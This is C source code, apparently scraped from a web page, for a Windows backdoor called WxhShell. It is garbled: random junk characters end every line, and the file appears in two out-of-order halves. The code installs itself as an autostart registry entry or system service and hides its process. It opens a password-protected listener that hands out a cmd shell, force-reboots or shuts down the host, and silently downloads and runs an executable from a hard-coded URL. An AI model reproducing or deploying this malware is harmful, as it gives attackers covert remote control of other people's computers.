    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p{vGc-zP .  
    if(Boot(SHUTDOWN)) /!i`K{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w=QlQ\  
    else { 1u~CNHm  
    closesocket(wsh); sk%Xf,  
    ExitThread(0); Vsj1!}X:  
    } XsEo tW  
    break; 3LkcK1x.  
    } De-hHY{>  
  // 获取shell gX%"Ki7.  
  case 's': { V+$^4Ht  
    CmdShell(wsh); 0X<U.Sxn  
    closesocket(wsh); d}w}VL8l  
    ExitThread(0); 3a\De(;  
    break; Oxp!G7qfo  
  } "- ?uB Mz  
  // 退出 n1Wo<$#  
  case 'x': { v[2N-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +^cjdH*  
    CloseIt(wsh); j[RY  
    break; z 0}JiWR  
    } D#k ~lEPub  
  // 离开 %TeH#%[g>\  
  case 'q': { %MM)5MsB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `9Rj;^NJ  
    closesocket(wsh); \zT{zO&!  
    WSACleanup(); BO,xA-+  
    exit(1); Be~ '@  
    break; aN;c.1TY  
        } -`A+Qp)  
  } 8yC/:_ML  
  }  8+,I(+  
47=YP0r?>T  
  // 提示信息 Qx_]oz]NY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ujf]@L?  
} 8Q(A1U  
  } :\]qB&  
u_=^Bd   
  return; _u9bZ'  
} }rQ0*h  
JKF/z@Vbe\  
// shell模块句柄 "!9FJ Y  
int CmdShell(SOCKET sock) U1)!X@F{  
{ 0O!A8FA0  
STARTUPINFO si; |4j'KM;U  
ZeroMemory(&si,sizeof(si)); bIXD(5y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RgD%pNhI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3(,c^F  
PROCESS_INFORMATION ProcessInfo; bs_< UE  
char cmdline[]="cmd"; ;r BbLM`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0<)Ep~!  
  return 0; [85b+SKW  
} C({r1l4[D  
hEA;5-m  
// 自身启动模式 .3CQFbHF  
int StartFromService(void) `$Y%c1;  
{ <64#J9T^  
typedef struct _&RGhA  
{ fP/;t61Z  
  DWORD ExitStatus; w&>*4=^a  
  DWORD PebBaseAddress; #OwxxUeZ  
  DWORD AffinityMask; T`2a)  
  DWORD BasePriority; 13p.dp`  
  ULONG UniqueProcessId; cz1 m05E  
  ULONG InheritedFromUniqueProcessId; P#9Pq,I  
}   PROCESS_BASIC_INFORMATION; ~^J9v+  
@ek8t2??x  
PROCNTQSIP NtQueryInformationProcess; +O4//FC-"  
zmhAeblA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w$0*5n>)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZfibHivz  
pN{XGkX.  
  HANDLE             hProcess; l:OXxHxRi  
  PROCESS_BASIC_INFORMATION pbi; o0_H(j?  
n(9$)B_y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s{:Thgv,9  
  if(NULL == hInst ) return 0; |*g\-2j{  
tN;^{O-(V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `0`#Uf_/$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iSNbbu#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0E7h+]bh|  
bQ-n<Lx  
  if (!NtQueryInformationProcess) return 0; `-g$ 0lm7  
XPLm`Q|1#t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2S//5@~_m  
  if(!hProcess) return 0; bD=R/yA  
n] 8*yoge  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5`QfysR5  
rX22%~1  
  CloseHandle(hProcess); LX}|%- iv  
y*E{X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G_}oI|B  
if(hProcess==NULL) return 0; 44pVZ5c  
`_x#`%!#2  
HMODULE hMod; mr,G H x  
char procName[255]; MhjIE<OI=  
unsigned long cbNeeded; X([@}ren  
75iudki  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {<zE}7/2-  
wj8\eK)]L  
  CloseHandle(hProcess); BkB9u&s^  
X=? \A{Y  
if(strstr(procName,"services")) return 1; // 以服务启动 | Pqs)Mb]  
ypNeTR$4  
  return 0; // 注册表启动 L i+|%a  
} i "aQm  
.uB[zJc  
// 主模块 C't%e  
int StartWxhshell(LPSTR lpCmdLine) 0R;`)V\^  
{ rS0#]Gg  
  SOCKET wsl; Hp@cBj_@P2  
BOOL val=TRUE; *fSX3Dk  
  int port=0; ` (]mUW  
  struct sockaddr_in door; ceLr;}?Ws  
GuF-HP}xM  
  if(wscfg.ws_autoins) Install(); (L!u[e0[#  
;L,yJ~  
port=atoi(lpCmdLine); D=B:tP  
&`_| [Y ]H  
if(port<=0) port=wscfg.ws_port; _zLEHEZ-  
'cY @Dqg1  
  WSADATA data; 9y*(SDF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +A%zFF3  
*7qa]i^]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3*R(&O6}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n65fT+;  
  door.sin_family = AF_INET; JEfhr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _+gpdQq\p  
  door.sin_port = htons(port); ZJQkZ_9@2  
V/ZWyYxjLi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @^`5;JiUk  
closesocket(wsl); iHWt;]  
return 1; y*8;T v|  
} eTt{wn;6  
1(kd3 qX  
  if(listen(wsl,2) == INVALID_SOCKET) { ?[ D6|gp  
closesocket(wsl); R=W$3Ue~,  
return 1; w$749jGx  
} _X)]/A%@  
  Wxhshell(wsl); vIFx'S~D  
  WSACleanup(); 3ep L'My$  
z]sQ3"cmX  
return 0; tAb3ejCo?  
O>ZJOKe  
} th=45y"C  
hG3RZN#ejq  
// 以NT服务方式启动 <4;f?e u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `U;V-  
{ i k0w\*  
DWORD   status = 0; 2Mu(GUe;  
  DWORD   specificError = 0xfffffff; eoPoG C  
mW)"~sA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C |rl",&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w$Mb+b$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e co=ia  
  serviceStatus.dwWin32ExitCode     = 0; !Tu.A@  
  serviceStatus.dwServiceSpecificExitCode = 0; l`];CALA4  
  serviceStatus.dwCheckPoint       = 0; 5JZZvc$au  
  serviceStatus.dwWaitHint       = 0; [ HjGdC  
=IIE]<z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,=P0rbtK  
  if (hServiceStatusHandle==0) return; _xdttO^N  
2aQ}| `  
status = GetLastError();  *8 ]  
  if (status!=NO_ERROR) *c@]c~hY,  
{ w2tkJcQ3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C%'eF`  
    serviceStatus.dwCheckPoint       = 0; H{;8i7%  
    serviceStatus.dwWaitHint       = 0; 9a.[>4}  
    serviceStatus.dwWin32ExitCode     = status; I q47^  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4_S%K&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `RE1q)o}8M  
    return; < YuI}d~'  
  } K9Pw10g'  
*Xd_=@L&B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O0"&wvR+5  
  serviceStatus.dwCheckPoint       = 0; i)e)FhEY6  
  serviceStatus.dwWaitHint       = 0; O11.wLNH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v aaZ  
} upH%-)%'  
/XW,H0pR  
// 处理NT服务事件,比如:启动、停止 lc0ZfC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o6;VrpaNi  
{ GG_A'eX:I  
switch(fdwControl) ?Qs>L~  
{ YCQ+9  
case SERVICE_CONTROL_STOP: /t?(IcP5  
  serviceStatus.dwWin32ExitCode = 0; 6d/b*,4[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fmq^AnKd  
  serviceStatus.dwCheckPoint   = 0; FkT % -I  
  serviceStatus.dwWaitHint     = 0; jfrUOl'l  
  { 'w7{8^Z2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {EupB?  
  } 8|,-P=%t  
  return; G,i%:my7  
case SERVICE_CONTROL_PAUSE: gM3gc;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S[M\com'  
  break; b;Im +9&  
case SERVICE_CONTROL_CONTINUE: v]27+/a$c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ? 5 V-D8k  
  break; `24:Eg6r  
case SERVICE_CONTROL_INTERROGATE: N,_ej@L8  
  break; <`m.Vbvm"  
}; dUJNr_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@"6QAP  
} O^gq\X4}  
PZl(S}VY  
// 标准应用程序主函数 =U".L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]QU52R@M  
{ Onoi6^G  
^q$vyY   
// 获取操作系统版本 K+mtuB]yr  
OsIsNt=GetOsVer(); Qi7^z;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i&FC-{|Z  
QX~*aqS3s8  
  // 从命令行安装 Ic&t_B*i}]  
  if(strpbrk(lpCmdLine,"iI")) Install(); _>:g&pS/  
tdr*>WL  
  // 下载执行文件 4/ U]7Y  
if(wscfg.ws_downexe) { _.06^5o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F]?$Q'U  
  WinExec(wscfg.ws_filenam,SW_HIDE); w } 2|Do$5  
} T}]Ao  
(A &@ <  
if(!OsIsNt) { (^Do#3  
// 如果时win9x,隐藏进程并且设置为注册表启动 TJ5{Ee GV  
HideProc(); A?|cJ"N  
StartWxhshell(lpCmdLine); :7>Si%  
} 1y"37;x  
else cuk2\> Xl  
  if(StartFromService()) Nd!2 @?V4  
  // 以服务方式启动 P[nWmY  
  StartServiceCtrlDispatcher(DispatchTable); |2 wff?  
else xD?{Hw>QT#  
  // 普通方式启动 ,em6wIq,  
  StartWxhshell(lpCmdLine); pr0V)C6  
t1Khf  
return 0; #CQ>d8&  
} 0XYO2 k  
{Rj'=%h  
_@prv7e  
j*:pW;)^  
=========================================== sqZHk+<%  
A#  M  
q=1SP@;\6  
MthThsr7  
47K5[R  
4l`gAE$  
" \]ODpi 2  
>6DY3\  
#include <stdio.h> hy)RV=X  
#include <string.h> xf]4!zE  
#include <windows.h> ia_8$>xW+  
#include <winsock2.h> VYAe !{[  
#include <winsvc.h> 4COf H7Al9  
#include <urlmon.h> YKc{P"'/ |  
\!V6` @0KC  
#pragma comment (lib, "Ws2_32.lib")  xBG1up<z  
#pragma comment (lib, "urlmon.lib") GyPN)!X@.&  
:A{-^qd(  
#define MAX_USER   100 // 最大客户端连接数 !yI)3;$*  
#define BUF_SOCK   200 // sock buffer TQ2Tt "  
#define KEY_BUFF   255 // 输入 buffer 8c|IGC  
\%Smp2K  
#define REBOOT     0   // 重启 M{4_BQ4$  
#define SHUTDOWN   1   // 关机 G<dXJ ]\\  
#dfW1@m  
#define DEF_PORT   5000 // 监听端口 y14@9<~9  
?GC0dN  
#define REG_LEN     16   // 注册表键长度 j5)qF1W,  
#define SVC_LEN     80   // NT服务名长度 7=AKQ7BB>b  
vZDQ@\HrC  
// 从dll定义API ,`7GI*Vq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6e*b;{d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /(0d{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E37@BfpO3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &L?Dogo  
&sRJ'oc  
// wxhshell配置信息 \~H"!vj  
struct WSCFG { :ZIcWIV-  
  int ws_port;         // 监听端口 QE}@|H9xs  
  char ws_passstr[REG_LEN]; // 口令 "}EbA3  
  int ws_autoins;       // 安装标记, 1=yes 0=no f\^QV  
  char ws_regname[REG_LEN]; // 注册表键名 E{ ,O}  
  char ws_svcname[REG_LEN]; // 服务名 an2Tc*=~l(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vi|jkyC8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4>E2G:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *3K"Kc2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #?=cg]v_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^>p [b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]xG4T>S  
YBO53S]=  
}; ]O\W<'+V  
p{J_d,JH  
// default Wxhshell configuration E)E!  
struct WSCFG wscfg={DEF_PORT, Ttj5% ~  
    "xuhuanlingzhe", 'x0t, ;g  
    1, !!86Sv  
    "Wxhshell", I{PN6bn{>  
    "Wxhshell", W<L6,  
            "WxhShell Service", ^hgAgP{{  
    "Wrsky Windows CmdShell Service", Dn3~8  
    "Please Input Your Password: ", @i h}x  
  1, $g};u[y  
  "http://www.wrsky.com/wxhshell.exe", #50)DwD  
  "Wxhshell.exe" 8( D}y\  
    }; yBj)#m5!  
w3Ohm7N[  
// 消息定义模块 ]>L]?Rm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Em;b,x*U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]`XuE-Uh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  c$|dK  
char *msg_ws_ext="\n\rExit."; 9-^p23.@[j  
char *msg_ws_end="\n\rQuit."; ftPw6  
char *msg_ws_boot="\n\rReboot..."; QA(,K}z~^S  
char *msg_ws_poff="\n\rShutdown..."; ^IpiNY/%Q  
char *msg_ws_down="\n\rSave to "; 9gg,Dy  
w0!,1 Ry  
char *msg_ws_err="\n\rErr!"; ]t3"0  
char *msg_ws_ok="\n\rOK!"; 2~DPq p[  
0mh8.  
char ExeFile[MAX_PATH]; sJ/e=1*  
int nUser = 0; +_dYfux  
HANDLE handles[MAX_USER]; z)>{O3  
int OsIsNt; n y)P  
YMTA`T(+  
SERVICE_STATUS       serviceStatus; PuJ{!S\T7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; syf"{bBe  
61/zrMPn  
// 函数声明 8!GLw-kb  
int Install(void); H| U/tU-  
int Uninstall(void); Ekme62Q>u  
int DownloadFile(char *sURL, SOCKET wsh); k#JG  
int Boot(int flag); &'b}N  
void HideProc(void); l%(`<a]VIB  
int GetOsVer(void); \ZRoTh  
int Wxhshell(SOCKET wsl); ] <3?=$  
void TalkWithClient(void *cs); 1qe^rz|  
int CmdShell(SOCKET sock); %UQB?dkf$  
int StartFromService(void); 'kvFU_)  
int StartWxhshell(LPSTR lpCmdLine); 8M9\<k6  
^&H=dYcV>/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A'1AU:d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R?~h7 d  
Z3>xpw G  
// 数据结构和表定义 Rl4zTAI  
SERVICE_TABLE_ENTRY DispatchTable[] = OX/.v?c  
{ PX2k,%  
{wscfg.ws_svcname, NTServiceMain}, _ D9@<+MS*  
{NULL, NULL} vGwD~R  
}; ;Ph)BY<  
Lu39eO6  
// 自我安装 -==qMrKP  
int Install(void) dm=F:\C  
{ t}k'Ba3]:Y  
  char svExeFile[MAX_PATH]; gQ[^gPWP"  
  HKEY key; IW o~s  
  strcpy(svExeFile,ExeFile); BemkCj2  
"%Ana=cc  
// 如果是win9x系统,修改注册表设为自启动  'Q>z**  
if(!OsIsNt) { psX%.95Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aiZo{j<6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0"psKf'  
  RegCloseKey(key); 4F,Ql"ae(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4<< bk_7'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L?27q  
  RegCloseKey(key); u?;Vxh3@|  
  return 0; rHgdvDc  
    } asN }  
  } }K80G~O2<  
} :n9xH  
else { KzX ,n_`an  
:LiDJF  
// 如果是NT以上系统,安装为系统服务 Z3So|M{v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xY'qm8V  
if (schSCManager!=0) CEuk1$  
{ M:Y*Tb6w  
  SC_HANDLE schService = CreateService tNuCxb-  
  ( j'Y"/<  
  schSCManager, j8Q5d`  
  wscfg.ws_svcname, E< CxKY9  
  wscfg.ws_svcdisp, mzE$aFu8  
  SERVICE_ALL_ACCESS, Mq :'-`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , plx/}ah8  
  SERVICE_AUTO_START, ~8xh0TSi  
  SERVICE_ERROR_NORMAL, +lgF/y6  
  svExeFile, gMBQtPNM  
  NULL, 2K rqY  
  NULL, 4m~7 ~-h  
  NULL, 4:Xj-l^D  
  NULL, " Z2Tc)  
  NULL vdT+,x`  
  ); Rw}2*5#y  
  if (schService!=0) sh(kRrdY3  
  { *rn]/w8ZW  
  CloseServiceHandle(schService); }d~wDg<#  
  CloseServiceHandle(schSCManager); '"w}gx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c@9Z&2)  
  strcat(svExeFile,wscfg.ws_svcname); $FQcDo|[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7<1fKrN?GF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AX!>l;  
  RegCloseKey(key); 0^}'+t,lc  
  return 0; dmaqXsU8q  
    } z/0yO@_D/q  
  } A?Nn>xF9X  
  CloseServiceHandle(schSCManager); WiNr866nB  
} J[!x%8m  
} i6F:C &.  
1rv$?=Z  
return 1; BLwfm+ m"  
} a#Kmj 0  
i9;27tT~<  
// 自我卸载 D#d8^U  
int Uninstall(void) 'l' X^LMD  
{ 0n*rs=\VG  
  HKEY key; V Z2.w4b  
ByhOK}u;P4  
if(!OsIsNt) { 3|~(?4aE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V9zywM  
  RegDeleteValue(key,wscfg.ws_regname); ?..i4  
  RegCloseKey(key); ]PlY}VOY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K=tx5{V  
  RegDeleteValue(key,wscfg.ws_regname); mNx,L+ 3  
  RegCloseKey(key); *9dV/TT~f[  
  return 0; gp$EXJ=  
  } }$|%/Y  
} 3q#"i&  
} z[qdmx^  
else { ?-8y4 Ex  
K5!";V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3s?v(1 {)  
if (schSCManager!=0) _b0S  
{ m|[\F#+C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &@4.;u  
  if (schService!=0) NWJcFj_  
  { Z[#I"-Q~:  
  if(DeleteService(schService)!=0) { 'f-   
  CloseServiceHandle(schService); HZDk <aU/!  
  CloseServiceHandle(schSCManager); { r6]MS#l1  
  return 0; O1?B{F/ e  
  } 1 [fo'M  
  CloseServiceHandle(schService); pxw{  
  } :3a&Pb*PL  
  CloseServiceHandle(schSCManager); ;23=p=/h  
} *|];f#^9  
} \|eJJC  
r7Nu>[r5  
return 1; j6tP)f^tD  
} m\6SG' X  
=$b-xsmeG  
// 从指定url下载文件 09  
int DownloadFile(char *sURL, SOCKET wsh) [as-3&5S  
{ oMh~5 W  
  HRESULT hr; 0\5M^:8i3  
char seps[]= "/"; g|ql 5jW  
char *token; FNz84qVIx'  
char *file; YO@hE>  
char myURL[MAX_PATH]; n 5~=qQK2  
char myFILE[MAX_PATH]; CgVh\4,a  
<\, & :<  
strcpy(myURL,sURL); UvPp~N 7,  
  token=strtok(myURL,seps); %<aImR]  
  while(token!=NULL) x1N me%%&  
  { v[R_S  
    file=token; $Hp.{jw  
  token=strtok(NULL,seps); j';n8|Y9  
  } $42Au2Jg  
E7rX1YdR  
GetCurrentDirectory(MAX_PATH,myFILE); o-SRSu  
strcat(myFILE, "\\"); C!!mOAhJ  
strcat(myFILE, file); H9%l?r5  
  send(wsh,myFILE,strlen(myFILE),0); *I:mw8t  
send(wsh,"...",3,0); iY0,WT}&n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 13ipaz  
  if(hr==S_OK) 4dW3'"R"L  
return 0; yDd=& T   
else 4JGE2ArR  
return 1; xJvLuzUD  
u=vh Z%A]  
} /GsSrP_?]  
o*%3[HmV  
// 系统电源模块 *Jb_=j*)  
int Boot(int flag) |.j^G2x  
{ b\1+kB/8  
  HANDLE hToken; n<{aPLQ  
  TOKEN_PRIVILEGES tkp; {hxW,mmA  
M} O[`Fx{W  
  if(OsIsNt) { s,84*6u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4$%`Qh>yA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 65lOX$*{-  
    tkp.PrivilegeCount = 1;  pz$_W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -{!&/;Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :tKbz nd/  
if(flag==REBOOT) {  "\`>2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "VV914*z  
  return 0; j,}4TDWa  
} [FB&4>V/  
else { !\aV 0,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rwoF}}  
  return 0; --Oprl  
} c+1vqbqHG  
  } e:qo_eSC^-  
  else { 0HjJaML  
if(flag==REBOOT) { ab{;Z 5O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !{IC[g n  
  return 0; jUYF.K&  
} YjFWC!Qj$  
else { =]T|h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [d0%.+U  
  return 0; DK)u)?!  
} Fl<(m  
} m6-76ma,hi  
77``8,  
return 1; Dft4isyt^  
} %Hh3u$Y,  
o5>/}wIf  
// win9x进程隐藏模块 /n(9&'H<  
void HideProc(void) -=}b;Kf -  
{ rWJ*e Y  
\kxh#{$z?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TNx_Rc}  
  if ( hKernel != NULL ) \F[n`C"Is  
  { ?k"0w)8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cgo9rC~]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gTnS[  
    FreeLibrary(hKernel); oK)[p!D?0{  
  } &%6NQWW  
Q ]/B/  
return; t7&Dwmck9  
} sqT^t!  
6Hda]y  
// 获取操作系统版本 #aa1<-&H  
int GetOsVer(void) rxs8De  
{ B9}E {)T?  
  OSVERSIONINFO winfo; 'v\j.j/i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W;.{]x.0  
  GetVersionEx(&winfo); .`Sw,XL5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :xM}gPj"  
  return 1; YhS{$ Z  
  else mzu<C)9d,  
  return 0; z<t>hzl 7  
} <E SvvTf  
U3/8A:$y  
// 客户端句柄模块 0F1u W>D1  
int Wxhshell(SOCKET wsl) 0#<WOns1   
{ GJvp{U}y9I  
  SOCKET wsh; n_J5zQJ  
  struct sockaddr_in client; Jns/v6  
  DWORD myID; ]Ym=+lgi  
%0lf  
  while(nUser<MAX_USER) VxkEez'|  
{ |e:rYLxm:  
  int nSize=sizeof(client); ly[lrD0Kn.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a/ b92*&k  
  if(wsh==INVALID_SOCKET) return 1; kB V/rw  
>{b3>s~T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ac|/Y$\w  
if(handles[nUser]==0) .wD>Gs{sH[  
  closesocket(wsh); 4j^bpfb,  
else l:)S 3  
  nUser++; bfhz?,b  
  } x df?nt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7x(v?  
.D!WO  
  return 0; w]}f6VlEl  
} ^( DL+r,  
PGkCOmq   
// 关闭 socket C;ptir1G;  
void CloseIt(SOCKET wsh) JDKLKHOMZ  
{ Ts#pUoE~+H  
closesocket(wsh); Wa<-AZnh  
nUser--; 9ZhDZ~)p,  
ExitThread(0); gX_SKy  
} ]hL:33  
a}dw9wU!:  
// 客户端请求句柄 js -2"I  
void TalkWithClient(void *cs) [<Q4U{F  
{ 3[.3dy7,Z  
UG #X/%p  
  SOCKET wsh=(SOCKET)cs; {l@WCR  
  char pwd[SVC_LEN]; n_}aZB3;U  
  char cmd[KEY_BUFF]; %XR<isn  
char chr[1]; ~TM>"eBb  
int i,j; -zdmr"CA  
PV(4$I}  
  while (nUser < MAX_USER) { Bh,Q8%\6  
n7S; Xve#  
if(wscfg.ws_passstr) { 83Uw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 50 *@.!^*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a MsJO*;>  
  //ZeroMemory(pwd,KEY_BUFF); yuv4*  
      i=0; NNmM#eB:4  
  while(i<SVC_LEN) { 6#vI;d[^  
9$wAm89  
  // 设置超时 ;t!9]1  
  fd_set FdRead; p(?g-  
  struct timeval TimeOut; op.d;lO@  
  FD_ZERO(&FdRead); ;Gh>44UM[  
  FD_SET(wsh,&FdRead); MO TE/JG  
  TimeOut.tv_sec=8; {!r#f(?uT  
  TimeOut.tv_usec=0; Se Oy7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z vRxi&Z{?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #QS?s8IrW  
,_bp)-OG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Qr:!MA  
  pwd=chr[0]; c$A@T~$  
  if(chr[0]==0xd || chr[0]==0xa) { @h9K  
  pwd=0; qlvwK&W<QM  
  break; O J>iq@ >  
  } WN\PX!K9  
  i++; G AEZY  
    } 7"a4/e;^  
+99Bi2H}o  
  // 如果是非法用户,关闭 socket QtlT&|$   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *uU4^E(  
} y;QQ| =,  
^cn@?k((A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #a'r_K=ch)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sG1BNb_  
ST% T =_q  
while(1) { mV;3ILO  
abSq2*5K  
  ZeroMemory(cmd,KEY_BUFF); [T]Bfo  
5*+I M*c  
      // 自动支持客户端 telnet标准   ="2/\*.SL  
  j=0; G B&:G V  
  while(j<KEY_BUFF) { aj v}JV&:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?BsH{Q RYQ  
  cmd[j]=chr[0]; .1{l[[= W  
  if(chr[0]==0xa || chr[0]==0xd) { R;'?;I  
  cmd[j]=0; Qsji0ikG  
  break; 37jQ'O U  
  } LihdZ )  
  j++; TzY *;  
    } $Elkhe]O %  
RY<%'\A`~  
  // 下载文件 [xf$VkjuF  
  if(strstr(cmd,"http://")) { IM]h*YV'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O8y9dX-2  
  if(DownloadFile(cmd,wsh)) .)t (:)*b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /ao<A\KR  
  else o3\,gzJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 rS, ?  
  } Gnv!]c&S>l  
  else { }DHUTP2;yz  
